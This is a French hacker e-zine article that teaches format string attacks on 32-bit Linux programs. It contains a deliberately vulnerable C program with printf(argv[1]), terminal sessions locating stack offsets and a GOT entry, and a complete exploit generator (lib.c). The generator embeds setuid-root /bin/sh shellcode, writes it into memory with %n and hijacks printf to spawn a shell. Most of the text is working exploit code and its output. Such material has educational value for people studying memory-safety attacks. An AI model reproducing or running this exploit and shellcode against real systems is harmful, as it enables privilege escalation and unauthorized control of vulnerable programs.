__ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.08 Format string attack \ \ ! . aka \ \ . ; Un trio fmt svp \ \ : : \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ --[ Introduction : Dans un monde où le domaine de la sécurité informatique est en constante évolution et où les progrès se font rapidement, la guerre de l'information se déroulant entre ceux qui cherchent à pousser le hacking et ceux qui cherchent à l'éliminer est féroce. Les techniques afin d'escalader les niveaux de privilège ont aussi changé. Rappelons-nous les stack overflows simple d'antan, où il ne suffisait que d'écraser notre pointeur d'instruction [1]. Regardons maintenant les techniques d'aujourd'hui, par exemple dans l'exploit de MaXX, qui consiste à saisir le contrôle du programme avec l'aide d'un off-by-one heap overflow. [2] Dans cet article, il sera question de techniques pour faciliter l'exploitation d'une erreur de formatage. En effet, lorsque nous prenons une attaque par format string, plusieurs portes s'offrent à nous afin de pouvoir prendre le contrôle du programme. Il est possible de faciliter le processus de plusieurs façons qui nous aidera à atteindre l'objectif désiré, comme par exemple de directement écrire notre shellcode en mémoire ;) --[ Un petit rappel : Même si les erreurs de formatage se font de plus en plus rares de nos jours, et qu'elles sont facilement détectables avec des outils d'automatisation de détection de failles, il reste que c'est une faille de sécurité qui reste intéressante à exploiter. Afin de pouvoir contourner le programme vulnérable à l'erreur de formatage, nous devons définir les différents points de la tâche afin de parvenir à notre objectif. - Identifier la faille - Trouver la distance et le padding pour avoir le contrôle de notre format string - Trouver quel endroit en mémoire écraser (retloc) - Trouver la valeur que nous allons écraser retloc avec (retadr) - Bâtir notre buffer et puis l'injecter. Avec une telle attaque, il est brièvement possible d'écrire ce que nous voulons en mémoire, ce qui conséquemment nous laisse un grand choix pour saisir le contrôle du programme. Il existe plusieurs façon de prendre le contrôle d'un programme lorsque nous avons un certain contrôle sur ce qui se passe en mémoire, que ce soit [3]: - en écrasant des entrées dans la Global Offset Table (GOT) afin d'hijacker une fonction, - en ajoutant une entrée dans la table de destructeurs (.dtors), - en falsifiant le contenu d'un boundary tag lors d'une allocation dynamique (malloc), - ou bien tout simplement en écrasant EIP/EBP dans un stack frame lors d'un stack overflow. --[ Le problème : Lorsque nous essayons d'exploiter et de prendre le contrôle d'un tel programme au moyen d'une attaque, le succès de l'exploitation dépend de plusieurs paramètres dynamiques (distance, padding, retloc, retadr). Dans le pire des environnements, il peut être très difficile d'obtenir ces paramètres. Il est toujours possible de bruteforcer plusieurs de ces valeurs, mais plus le nombre d'offsets à trouver augmente, plus le bruteforce va être long et pénible. Donc lorsqu'il est possible de diminuer ces valeurs inconnues, nous possédons plus de chances pour que notre exploit fonctionne. --[ Les détails : Nous avons décrit plus haut qu'il était possible d'écrire ce que nous voulons en mémoire. Nous savons aussi que lorsque nous exploitons une erreur de formatage, les deux valeurs les plus importantes à trouver sont quelle adresse nous voulons modifier, et avec quelle valeur nous voulons modifier celle-ci. Ce qui est intéressant à noter, c'est que les erreurs de formatage ne nous permettent pas seulement d'écrire 4 bytes en mémoire. En effet, il est possible d'écrire une chaîne de texte de n'importe quelle longueur, en autant que notre buffer est assez grand pour contenir notre format string maléfique. --[ Un strcpy improvisé Je vous présente ici une fonction qui nous permettra de générer un format string qui va écrire à un certain endroit en mémoire une chaîne de caractères de notre choix. Vous allez sûrement rapidement comprendre l'utilité d'une telle fonction ;) void write_string_fmt (char *buffer, int dist, int align, int retloc, char *what, int mode) - buffer : Le buffer qui contiendra la format string - int dist : La distance jusqu'au début du buffer que nous contrôlons - int align : Une valeur de 0 à 3 définissant l'alignement sur 4 bytes - int retloc : L'endroit que où nous voulons écrire la string - char *what : La string que nous voulons placer à retloc - int mode : 1 pour le mode d'alignement, et 2 pour écrire en mémoire. (le mode d'alignement nous permet de trouver exactement la distance et l'alignement pour atteindre notre buffer, tandis qu'avec 2 nous voulons écrire en mémoire; voir code) Prenons un simple exemple de code vulnérable. : --[ test.c /* coded by g463 */ #include #include int main (int argc, char *argv[]) { char *string = (char *) malloc (1024); strcpy (string, "jonny boy!!! ;)"); printf ("\nRETLOC (Adresse de string) -> 0x%x\n", (int) string); printf ("string avant attaque -> %s\n", string); printf (argv[1]); // ayoyoyoyoyoyoyoyoye :-P printf ("\nstring apres attaque -> %s\n", string); return 1; } --] eof guaylejs@ariel [~/codez/format_string/mindkind]$ gcc test.c -o test guaylejs@ariel [~/codez/format_string/mindkind]$ ./test RETLOC (Adresse de string) -> 0x8049708 string avant attaque -> jonny boy!!! ;) string apres attaque -> jonny boy!!! ;) guaylejs@ariel [~/codez/format_string/mindkind]$ Ce que nous voulons faire, c'est exploiter l'erreur de format afin de pouvoir changer la string que nous allons imprimer à l'écran la deuxième fois. Si, lors de l'exploitation normale d'une format string nous pouvons écrire 4 bytes et saisir le contrôle du programme, alors pourquoi ne pas essayer d'écrire une chaîne de caractères au complet à un certain endroit en mémoire ? Premièrement, prenons note de la valeur de retour de la fonction malloc. Malloc nous retourne un pointeur vers la zone de mémoire allouée, qui est en l'occurrence la zone mémoire que nous voulons aussi écraser. guaylejs@ariel [~/codez/format_string/mindkind]$ ltrace ./test | grep malloc malloc(1024) = 0x08049708 guaylejs@ariel [~/codez/format_string/mindkind]$ Donc nous voyons que la valeur que nous voulons ré-écraser en mémoire est de 0x08049708, c'est-à-dire notre retloc. Ensuite, trouvons la distance et le padding dont nous avons besoin pour avoir le contrôle sur la chaîne. Rappelons-nous que le 'mode 1' est utilise lorsque nous voulons trouver l'alignement et le padding, tandis que le 'mode 2' va écrire nos valeurs en mémoire. Pour trouver le bon alignement et le bon padding, nous devons avoir notre search-value, 0x41414141, tout de suite après le dernier point (.), aligné sur 4 bytes. Ce qui va vouloir dire qu'à partir de maintenant, nous avons le contrôle sur notre buffer. Vous pouvez retrouver une copie du code lib.c que j'utilise dans les exemples ainsi que les fonctions qui génèrent les format strings à la fin de l'article. Voyons voir, disait l'aveugle : guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 110 0 0x8049708 test 1 [debut du garbage...] . 8049708. 8048451. 8049620. 80496e8.bfffea98.4004bbe8.4013a290.4000acf0. 8049708.bfffeac8.40038326. 2.bfffeaf4.bfffeb00. 8048540. 0.bfffeac8.400382f6.40015094. 2. 8048380.bfffeaf4.40038268.40138ac8. 0. 80483a1. 8048470. 2.bfffeaf4. 80482e4. 8048540.4000b3c0.bfffeaec.40015634. 2.bfffebf2.bfffebf7. 0.bffffbf8.bffffc11.bffffc20.bffffc31.bffffc3f.bffffc49. bffffc5c.bffffc79.bffffc84.bffffc92.bffffd29.bffffd39.bffffd4e.bffffd5e.bffffd7 0. bffffd77.bffffd9f.bffffdad.bffffdef.bffffdf7.bffffe09.bffffe2a.bffffe37.bffffe3 f.bfffffed. 0. 10. 8001bf. 6. 1000. 11. 64. 3. 8048034. 4. 20. 5. 6. 7.40000000. 8. 0. 9. 8048380. b. cf6. c. cf6. d. 34d. e. 34d. f.bfffebed. 0. 0. 0. 0. 0.38356900.65740036. 41007473.be414141. -------------------------------------------------------- --- ---------------^^---------^^^^^^ 8babeba.be080497. 9babeba.be080497. ababeba.be080497. bbabeba.be080497. cbabeba 7722773992e783825 7796306292e783825 7796306292e783825 [fin du garbage...] Comme nous le voyons lors du output de notre programme, notre search value 0x41414141 n'est pas tout a fait la valeur après le dernier point. La valeur après le dernier point est 0xcbabeba. Essayons maintenant de creuser plus profondément dans la stack, avec une plus grande distance : guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 101 0 0x8049708 test 1 [debut du garbage...] . 8049708. 8048451. 8049620. 80496e8.bfffea98.4004bbe8.4013a290.4000acf0. 8049708.bfffeac8.40038326. 2.bfffeaf4.bfffeb00. 8048540. 0.bfffeac8.400382f6.40015094. 2. 8048380.bfffeaf4.40038268.40138ac8. 0. 80483a1. 8048470. 2.bfffeaf4. 80482e4. 8048540.4000b3c0.bfffeaec.40015634. 2.bfffebf2.bfffebf7. 0.bffffbf8.bffffc11.bffffc20.bffffc31.bffffc3f.bffffc49.bffffc5c.bffffc79.bffff c84.bffffc92.bffffd29.bffffd39.bffffd4e.bffffd5e.bffffd70.bffffd77.bffffd9f.bff ffdad.bffffdef.bffffdf7.bffffe09.bffffe2a.bffffe37.bffffe3f.bfffffed. 0. 10. 8001bf. 6. 1000. 11. 64. 3. 8048034. 4. 20. 5. 6. 7.40000000. 8. 0. 9. 8048380. b. cf6. c. cf6. d. 34d. e. 34d. f.bfffebed. 0. 0. 0. 0. 0.38356900.65740036.41007473.be414141 ------------------------------------ --------------------------------------^^---------^^^^^^ 146456250be080497 163233466be080497 180010682be080497 [fin du garbage...] Yay ! Nous avons enfin atteint la bonne distance pour rejoindre le début du buffer que nous contrôlons. Reste maintenant juste à trouver le bon alignement pour être capable d'aligner sur 4 bytes nos données. guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 101 1 0x8049708 test 1 [debut du garbage...] . 8049708. 8048451. 8049620. 80496e8.bfffea98.4004bbe8.4013a290.4000acf0. 804970 8.bfffeac8.40038326. 2.bfffeaf4.bfffeb00. 8048540. 0.bfffeac8.400382 f6.40015094. 2. 8048380.bfffeaf4.40038268.40138ac8. 0. 80483a1. 8048 470. 2.bfffeaf4. 80482e4. 8048540.4000b3c0.bfffeaec.40015634. 2.bfff ebf2.bfffebf7. 0.bffffbf8.bffffc11.bffffc20.bffffc31.bffffc3f.bffffc49.bff ffc5c.bffffc79.bffffc84.bffffc92.bffffd29.bffffd39.bffffd4e.bffffd5e.bffffd70.bf fffd77.bffffd9f.bffffdad.bffffdef.bffffdf7.bffffe09.bffffe2a.bffffe37.bffffe3f.b fffffed. 0. 10. 8001bf. 6. 1000. 11. 64. 3. 8048034. 4. 20. 5. 6. 7.40000000. 8. 0 . 9. 8048380. b. cf6. c. cf6. d. 34d. e. 34d. f.bfffebed. 0. 0. 0. 0. 0.383569 00.65740036.2e007473.41414141 ---------------------^^^^^^^^ -11619054748049708 -11619054748049709 -116190 [fin du garbage...] Finalement, nous avons réussi à trouver les bonnes valeurs pour enfin contrôler notre buffer, nous avons trouvé comme distance 101 et comme alignement 1. De plus nous possédons notre retloc, égale à 0x8049708. Essayons maintenant d'appeler `lib` avec les arguments précis. guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib ./lib guaylejs@ariel [~/codez/format_string/mindkind]$ guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 101 1 0x8049708 "yay d-natural est mon nom... poum ti pou pa ti pou waaai... yo :P" 2 | grep string RETLOC (Adresse de string) -> 0x8049708 string avant attaque -> jonny boy!!! ;) string apres attaque -> yay d-natural est mon nom... poum ti pou pa ti pou waaai... yo :P guaylejs@ariel [~/codez/format_string/mindkind]$ Et voilà le travail ! Nous avons modifier une string en mémoire ! C'est bien beau être capable d'écrire une string en mémoire, mais comment cela peut-il nous faciliter le travail lorsque nous voulons exploiter un programme ? --[ Écrivons le shellcode en mémoire Nous sommes maintenant capables d'écrire une string en mémoire, à une adresse que nous déterminons. Tout le monde sait aussi qu'un shellcode c'est une string. Donc si nous savons à quel endroit en mémoire nous pouvons placer notre string (shellcode), nous savons automatiquement quelle sera la valeur de retadr, sans avoir besoin de la bruteforcer. Nous allons donc éliminer un 'offset' à bruteforcer, donc plus de chances pour que l'exploitation fonctionne. Plusieurs endroits différents s'offrent à nous pour placer notre shellcode en mémoire qui seront valides. Je vous en présente 2 qui sont intéressantes à travailler. Pour saisir le contrôle de votre EIP, j'utilise l'écrasement d'une entrée dans GOT... Vous pouvez tout aussi bien utiliser une des techniques précédemment mentionnées dans le 'rappel' : Présentons maintenant le prototype de la fonction qui sera utilisée pour écrire le shellcode en mémoire : void write_sc_fmt (char *buffer, int dist, int align, int retloc, int retadr, char *what, int mode); - buffer : Le buffer qui contiendra la format string - int dist : La distance jusqu'au début du buffer que nous controlons - int align : Une valeur de 0 à 3 définissant l'alignement sur 4 bytes - int retloc : L'endroit que où nous voulons écrire la string - int retadr : L'endroit où nous voulons écrire le shellcode, et la valeur que nous allons écraser retloc avec. - int mode : 1 pour le mode d'alignement, et 2 pour écrire en mémoire. (le mode d'alignement nous permet de trouver exactement la distance et l'alignement pour atteindre notre buffer, tandis qu'avec 2 nous voulons écrire en mémoire; voir code) --[ Écrivons-le où exactement ?!?! - Après une entrée dans la GOT Ici, nous allons écraser une entrée dans la GOT d'une fonction qui sera utilisée sous peu après la fonction de formatage vulnérable... Nous allons faire pointer l'entrée de la GOT que nous avons choisie avec l'adresse de GOT[index de la fonction] + 4. C'est évident; maintenant, au lieu d'avoir à chercher le 'retadr' qui contient notre shellcode, nous allons nous même écrire notre shellcode après l'adresse que nous avons trouvée, ce qui élimine la recherche de notre 'retadr'. C'est à cet endroit que nous allons placer notre shellcode. Examinons un peu l'image de notre process lorsque nous allons rouler le programme, et voir si nous n'écrasons rien en mémoire d'important lorsque nous allons insérer notre shellcode. Examinons les différentes sections lorsqu'elles seront mappées en mémoire [4]: guaylejs@ariel [~/codez/format_string/mindkind]$ readelf -S ./test There are 30 section headers, starting at offset 0x29b0: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 080480f4 0000f4 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048108 000108 000020 00 A 0 0 4 [...] ->[19] .got PROGBITS 08049620 000620 000028 04 WA 0 0 4 [20] .dynamic DYNAMIC 08049648 000648 0000a0 08 WA 5 0 4 [21] .sbss PROGBITS 080496e8 0006e8 000000 00 W 0 0 1 [22] .bss NOBITS 080496e8 0006e8 000018 00 WA 0 0 4 [23] .stab PROGBITS 00000000 0006e8 00078c 0c 24 0 4 [24] .stabstr STRTAB 00000000 000e74 0018f7 00 0 0 1 [25] .comment PROGBITS 00000000 00276b 0000e4 00 0 0 1 [...] Donc nous voyons que nous avons un jeu après notre GOT pour pouvoir écrire notre shellcode, après les sections suivantes (.dynamic et .bss) [4]. Si nous écrasons une de ces 2 sections, nous n'allons pas modifier le comportement du programme d'ici l'exploitation, car rien de critique n'accède à ces données entre l'écrasement de la GOT et l'hijack du programme. Les sections .stab, .stabstr et suivantes ne sont pas mappées en mémoires car elles possèdent une adresse égale à 0x000000000. Pour l'exemple que je vais vous montrer, nous allons utiliser l'entrée de 'printf' dans la GOT : guaylejs@ariel [~/codez/format_string/mindkind2]$ objdump -R test | grep printf 0804963c R_386_JUMP_SLOT printf guaylejs@ariel [~/codez/format_string/mindkind2]$ Nous avons donc notre retloc qui est égale à 0x0804963c. Nous allons donc placer notre shellcode à 0x0804963c+4, donc 0x08049640. guaylejs@ariel [~/codez/format_string/mindkind2]$ ./lib ./lib guaylejs@ariel [~/codez/format_string/mindkind2]$ guaylejs@ariel [~/codez/format_string/mindkind2]$ ./lib 101 1 0x0804963c 0x08049640 2 [...] bash$ Yes sir ! Nous avons réussi à l'exploiter... Essayons maintenant de mettre le shellcode sur la stack... - Somewhere into the staccccck Maintenant, essayons d'insérer notre shellcode à un autre endroit en mémoire. Plaçons-le, pour cet exemple, directement sur la stack. Appelons notre programme de la même façon que précédemment, mais changeons l'emplacement de notre retadr, et d'ainsi l'endroit où notre shellcode va être entreposé : guaylejs@ariel [~/codez/format_string/mindkind2]$ ./lib 101 1 0x0804963c 0xbffffdaa 2 [...] bash$ Vous commencez sûrement à piger le concept ! Bref, avec cette technique, le seul offset que nous avons à trouver, c'est le retloc. Notre shellcode, nous pouvons le placer où nous voulons en mémoire, en s'assurant bien sûr que nous avons le droit d'écrire à cet endroit dans la mémoire, et que nous n'écrasons pas de valeurs importantes pour ne pas déranger le déroulement du programme, du moins jusqu'à temps que nous saisissons le contrôle sur celui-ci. --[ Conclusion Malgré le fait que les attaques par format string se font de plus en plus rares, il reste toujours intéressant de jouer avec une telle méthode d'exploitation, car elle est très flexible et nous pouvons faire pas mal ce que nous voulons en mémoire. En espérant que cet article vous a ouvert l'esprit sur l'exploitation et qu'il vous a aussi donné le goût d'en savoir plus... --[ Le code --[ lib.c /* Cette version du programme nous permettra d'écrire un shellcode en mémoire et de prendre le contrôle du programme à l'aide d'un format string attack. Pour écrire en mémoire une string de votre choix, (strcpy improvisé), veuillez échanger le main () qui suit avec le main () en commentaires à la fin du code. Codé par g463 */ #include #include #include #include #define DUMMY 0xbabebabe // si taimes les lesbi. //#define DUMMY 0xdeadbabe // ou la necrophilie... #define SEARCH 0x41414141 char sc_linux[] = "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; #define ALIGN_MODE 1 #define EXPLOIT_MODE 2 char *write_4 (char *buffer, long what); char *search_dist (char *buffer, int dist); void write_sc_fmt (char *buffer, int dist, int align, int retloc, int retadr, char *what, int mode); void write_string_fmt (char *buffer, int dist, int align, int retloc, char *what, int mode); void usage (char *progname); int main (int argc, char *argv[]) { char *buffer = (char *) malloc (4096); int i, j; int retloc, retadr; if (argc != 6) usage (argv[0]); memset (buffer, 0x42, sizeof (buffer)); retloc = strtoul (argv[3], NULL, 16); retadr = strtoul (argv[4], NULL, 16); write_sc_fmt (buffer, atoi (argv[1]), atoi (argv[2]), retloc, retadr, sc_linux, atoi (argv[5])); // Make sure the lenght of our buffer is always fixed for (i = 0; i < 4096; i++) if (buffer[i] == 0x0) buffer[i] = 0x42; buffer[i] = 0x0; execl ("./test", "test", buffer, (char *) 0); return 0; } char *write_4 (char *buffer, long what) { int i = 0; buffer[i++] = (what & 0x000000ff); buffer[i++] = (what & 0x0000ff00) >> 8; buffer[i++] = (what & 0x00ff0000) >> 16; buffer[i++] = (what & 0xff000000) >> 24; return (char *) &buffer[i]; } char *search_dist (char *buffer, int dist) { int i; char pop_it[] = ".%8x"; for (i = 0; i < dist; i++) strcat (buffer, pop_it); return (char *) (buffer + (strlen (pop_it) * dist)); } void write_sc_fmt (char *buffer, int dist, int align, int retloc, int retadr, char *what, int mode) { char *ptr = buffer, *what_ptr; int written_bytes = 0, write_byte, padding; int i; for (i = 0; i < align; i++) { buffer[i] = '.'; written_bytes++; ptr++; } ptr = write_4 (ptr, SEARCH); written_bytes += 4; // Pushons les adresses pour notre retadr for (i = 0; i < 4; i++) { ptr = write_4 (ptr, DUMMY); ptr = write_4 (ptr, retloc+i); } written_bytes += (4 * (i * 2)); // Pushons les adresses pour notre string for (i = 0; i < strlen (what) + 1; i++) { ptr = write_4 (ptr, DUMMY); ptr = write_4 (ptr, retadr+i); } written_bytes += (4 * (i * 2)); ptr = search_dist (ptr, dist); written_bytes += (dist * 9); what_ptr = what; for (i = 0; i < (strlen (what) + 1 + 4); i++) { if (i < 4) { write_byte = (retadr & 0x000000ff) + 0x100; retadr = retadr >> 8; } else { write_byte = what_ptr[i-4] + 0x100; } written_bytes %= 0x100; padding = (write_byte - written_bytes) % 0x100; if (padding < 14) padding += 0x100; ptr = buffer + strlen (buffer); if (mode == ALIGN_MODE) sprintf (ptr, "%%%dd%%x", padding); else sprintf (ptr, "%%%dd%%n", padding); written_bytes += padding; } } void write_string_fmt (char *buffer, int dist, int align, int retloc, char *what, int mode) { char *ptr = buffer, *what_ptr; int written_bytes = 0, write_byte, padding; int i; for (i = 0; i < align; i++) { buffer[i] = '.'; written_bytes++; ptr++; } ptr = write_4 (ptr, SEARCH); written_bytes += 4; for (i = 0; i < strlen (what) + 1; i++) { ptr = write_4 (ptr, DUMMY); ptr = write_4 (ptr, retloc+i); } written_bytes += (4 * (i * 2)); ptr = search_dist (ptr, dist); written_bytes += (dist * 9); what_ptr = what; for (i = 0; i < (strlen (what) + 1); i++) { write_byte = what_ptr[i] + 0x100; written_bytes %= 0x100; padding = (write_byte - written_bytes) % 0x100; if (padding < 14) padding += 0x100; ptr = buffer + strlen (buffer); if (mode == ALIGN_MODE) sprintf (ptr, "%%%dd%%x", padding); else sprintf (ptr, "%%%dd%%n", padding); written_bytes += padding; } } /* int main (int argc, char *argv[]) { char *buffer = (char *) malloc (4096); int i, j; int retloc; if (argc != 6) usage (argv[0]); memset (buffer, 0x42, sizeof (buffer)); retloc = strtoul (argv[3], NULL, 16); write_string_fmt (buffer, atoi (argv[1]), atoi (argv[2]), retloc, argv[4], atoi (argv[5])); // Make sure the lenght of our buffer is always fixed for (i = 0; i < 4096; i++) if (buffer[i] == 0x0) buffer[i] = 0x42; buffer[i] = 0x0; execl ("./test", "test", buffer, (char *) 0); return 0; } */ --] eof --[ Références [1] : Wu-ftpd exploit http://packetstormsecurity.nl/9903-exploits/wu-ftpd-beta18-root.txt [2] : Sudo exploit http://www.synnergy.net/downloads/exploits/vudo.c [3] : Format String exploitation http://www.team-teso.net/releases/formatstring-1.2.tar.gz [4] : Documentation ELF http://www.muppetlabs.com/~breadbox/software/ELF.txt --[ Remerciements pour cet article * à #mindkind, pour le support, l'entraide, l'énergie et surtout leur patience ;) * à #2e2h pour l'entraide et les idées sur les format strings attacks ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / g463@mindkind.org / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----'